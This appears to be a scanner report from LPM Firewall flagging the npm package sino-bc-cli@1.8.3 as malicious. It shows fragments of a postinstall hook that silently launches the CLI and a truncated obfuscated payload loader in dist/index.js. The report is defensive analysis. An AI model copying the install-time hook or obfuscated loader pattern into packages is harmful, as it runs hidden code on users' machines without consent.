sino-bc-cli@1.8.3: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

sino-bc-cli@1.8.3: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

30"postinstall": "node scripts/postinstall.cjs", "prepublishOnly": "npm run rebuild",

High

Suspicious Lifecycle Evidence

The package runs a postinstall lifecycle hook automatically.

package.jsonView on unpkg · L30

•scripts.postinstall = node scripts/postinstall.cjs

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

dist/index.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = sino-bc-cli@1.3.3 matchedIdentity = npm:c2luby1iYy1jbGk:1.3.3 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/index.jsView on unpkg

1#!/usr/bin/env node L2: 'use strict';const ag=e;(function(f,i){const af=e,l=f();while(!![]){try{const m=parseInt(af(0x3e5))/0x1+-parseInt(af(0x334))/0x2*(parseInt(af(0x124))/0x3)+-parseInt(af(0x194))/0x4*...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L1

1#!/usr/bin/env node L2: 'use strict';const ag=e;(function(f,i){const af=e,l=f();while(!![]){try{const m=parseInt(af(0x3e5))/0x1+-parseInt(af(0x334))/0x2*(parseInt(af(0x124))/0x3)+-parseInt(af(0x194))/0x4*...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L1

scripts/postinstall.cjsView file

19const result = spawnSync(process.execPath, [cliEntry, '/init', '--quiet'], { stdio: 'inherit', windowsHide: true, });

High

Ai Review Evidence

That hook launches the packaged CLI with /init and --quiet during installation.

scripts/postinstall.cjsView on unpkg · L19

Source & flagged code

7 flagged

package.jsonView file

Lines 10-50json

10 "files": [

11 "dist/",

12 "README.md",

13 "LICENSE",

14 "scripts/postinstall.cjs"

15 ],

16 "publishConfig": {

17 "access": "public",

18 "registry": "https://registry.npmjs.org/"

19 },

20 "scripts": {

21 "build": "node --experimental-strip-types scripts/build.ts",

22 "build:no-mangle": "node --experimental-strip-types scripts/build.ts --no-mangle",

23 "typecheck": "tsc --noEmit",

24 "test": "node --require ts-node/register --test \"tests/**/*.test.ts\"",

25 "sync-api-doc": "node --require ts-node/register src/apifox/run-sync.ts",

26 "dev": "ts-node src/index.ts",

27 "start": "node dist/index.js",

28 "clean": "rimraf dist",

29 "rebuild": "npm run clean && npm run build",

30 "postinstall": "node scripts/postinstall.cjs",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L30

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L30

31 "prepublishOnly": "npm run rebuild",

High

Suspicious Lifecycle Evidence

The package runs a postinstall lifecycle hook automatically.

package.jsonView on unpkg · L30

32 "prepack": "npm run build",

33 "release:patch": "npm version patch && npm publish",

34 "release:minor": "npm version minor && npm publish",

35 "release:major": "npm version major && npm publish",

36 "publish:local": "node --experimental-strip-types scripts/publish.ts",

37 "publish:local:dry": "node --experimental-strip-types scripts/publish.ts --dry-run"

38 },

39 "engines": {

40 "node": ">=24.0.0"

41 },

42 "keywords": [

43 "beyondclick",

44 "cli",

45 "command-line",

46 "sino-bc-cli",

47 "sso"

48 ],

49 "author": "BeyondClick",

50 "license": "MIT",

dist/index.jsView file

Lines 1-2javascript

1#!/usr/bin/env node

2'use strict';const ag=e;(function(f,i){const af=e,l=f();while(!![]){try

scripts/postinstall.cjsView file

Lines 1-29javascript

1/**

2 * npm 安装后自动注册 Agent 技能

3 * 使用 .cjs：scripts/package.json 为 "type": "module"，.js 无法使用 require

4 * dist 不存在时（本地尚未 build）静默跳过，避免打断 npm install

5 * 注册失败也不让安装失败，用户可随后执行 sino-bc-cli /init

6 */

7'use strict';

8

9const { existsSync } = require